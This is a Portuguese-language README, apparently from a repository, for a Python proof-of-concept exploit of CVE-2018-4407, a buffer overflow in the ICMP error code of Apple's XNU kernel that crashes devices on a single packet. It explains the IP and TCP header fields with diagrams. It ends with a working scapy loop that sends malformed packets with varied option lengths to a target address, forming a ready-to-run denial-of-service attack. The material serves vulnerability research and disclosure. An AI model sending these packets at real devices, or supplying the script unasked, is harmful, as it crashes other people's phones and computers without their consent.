
Uma vulnerabilidade de estouro de buffer no código de erro ICMP do kernel XNU faz com que dispositivos IOS travem (laptops e celulares).
CVE-2018-4407 é uma vulnerabilidade de estouro de buffer no código de erro ICMP do kernel XNU. Ela faz com que dispositivos IOS travem (tanto laptops quanto mobile) ao receber um (sim, 1!) único pacote malicioso.
A falha foi originalmente divulgada por Kevin Backhouse em seu post no blog lgtm em 30 de outubro de 2018.
O código neste repositório é uma prova de conceito do exploit CVE-2018-4407 implementado em python, usando scapy e nmap.
Alguns passos do meu processo de depuração. Uma olhada no código do kernel XNU leva aos números para iphlen e tcphlen que podem desencadear o estouro de buffer. Como Backhouse disse, precisamos ter icmplen > 84 e parece que devemos entrar no ramo do código if(oip->ip_p == IPPROTO_TCP) para conseguir isso. Um pacote TCP desencadearia essa vulnerabilidade.

Um cabeçalho IPv4 vai de um mínimo de 20 bytes até 36 bytes (dependendo das opções).
IHL: é o comprimento do cabeçalho IP, incluindo opções. Também indica onde o payload começa.Total Length: seria o comprimento total do pacote IP (incluindo cabeçalho IP e payload TCP). 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 |Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
12 | Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 16B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Um cabeçalho TCP vai de um mínimo de 20 bytes até 60 bytes (as opções podem ter até 40 bytes).
Data offset: indica onde os dados começam e também pode ser visto como o comprimento do cabeçalho. 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 | Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
12 | Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 40B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Não é necessário ir tão fundo no código XNU. Um script scapy simples, que tenta manualmente vários comprimentos de cabeçalho, também pode ser usado:
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>
for ip_opt_len in range(0, 60):
for tcp_opt_len in range (0, 60):
iphlen = ip_opt_len + MIN_IPHLEN
tcphlen = tcp_opt_len + MIN_TCPHLEN
total_ip_len = tcphlen + iphlen
send(IP(
ihl=iphlen/4,
len=total_ip_len,
dst=DST_IP,
options=IPOption("a" * ip_opt_len)
)/TCP(
dataofs=15,
options = [("NOP", None)] * tcp_opt_len
))